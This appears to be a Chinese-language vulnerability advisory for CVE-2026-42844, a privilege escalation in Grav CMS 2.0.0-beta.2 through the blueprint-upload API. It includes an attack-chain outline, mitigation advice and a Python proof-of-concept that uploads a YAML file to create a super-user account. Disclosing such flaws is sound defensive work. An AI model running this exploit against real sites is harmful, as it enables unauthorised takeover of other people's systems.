IPBUF安全漏洞报告
English
CVE-2026-42844 CVSS 8.8 高危

CVE-2026-42844 Grav权限提升漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-42844
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Grav CMS

相关标签

权限提升GravCMS任意文件写入API安全

漏洞概述

Grav是一款基于文件的Web平台。在Grav 2.0.0-beta.2版本中发现了一个高危权限提升漏洞。拥有api.media.write权限的低级别认证用户,能够利用/api/v1/blueprint-upload接口,在系统的user/accounts/目录下写入恶意的YAML配置文件。攻击者借此创建一个具备api.super超级特权的账户,进而登录获取系统的完全控制权,导致严重的安全风险。

技术细节

该漏洞的核心在于Grav API对/blueprint-upload接口的文件写入路径缺乏严格的限制。在受影响版本中,虽然用户仅被授予api.media.write权限,理论上只能操作媒体文件,但该接口并未有效防止向敏感系统目录写入数据。攻击者通过发送特制的HTTP POST请求,上传包含恶意构造用户信息的YAML文件。利用路径遍历或直接指定目标目录的方式,将该文件写入user/accounts/目录。Grav系统在加载账户配置时,会解析该YAML文件并创建对应的用户实例。攻击者在YAML中预设了api.super权限等级,一旦文件写入成功,即可利用新创建的超级用户账户进行登录。这不仅绕过了系统的权限隔离机制,还允许攻击者接管整个Grav CMS的管理后台和API接口,执行包括代码执行、数据窃取等在内的任意操作。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是Grav 2.0.0-beta.2版本,并发现API接口对外开放。
STEP 2
获取低权限凭证
攻击者通过社会工程学或之前的泄露获取一个具有api.media.write权限的低权限API Token。
STEP 3
恶意文件上传
攻击者利用/api/v1/blueprint-upload接口,发送包含超级用户定义的恶意YAML文件,并将其路径指向user/accounts/。
STEP 4
权限提升
系统解析上传的YAML文件,在user/accounts/目录下创建对应的用户账户文件,赋予其api.super权限。
STEP 5
系统接管
攻击者使用新创建的超级用户账户登录后台,完全控制Grav CMS及API。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-grav-site/api/v1/blueprint-upload" # Low privilege token (api.media.write) token = "LOW_PRIVILEGE_API_TOKEN" headers = { "Authorization": f"Bearer {token}" } # Malicious YAML content to create a super user # Note: The password hash should be a valid bcrypt hash in a real attack yaml_content = """ username: h4x0r password: $2y$10$HashedPasswordHere... email: [email protected] fullname: Attacker title: Administrator state: enabled access: admin: login: true super: true api: super: true """ # The vulnerability allows writing arbitrary YAML to user/accounts/ # The parameter name 'file' might vary based on implementation details files = { 'file': ('admin.yaml', yaml_content, 'application/x-yaml') } response = requests.post(url, headers=headers, files=files) if response.status_code == 200: print("[+] Exploit successful! Admin user created.") print("[+] Try logging in with username: h4x0r") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)

影响范围

Grav 2.0.0-beta.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用API接口或限制/api/v1/blueprint-upload的访问权限,仅允许受信任的IP地址访问。同时,审查并回收不必要的api.media.write权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表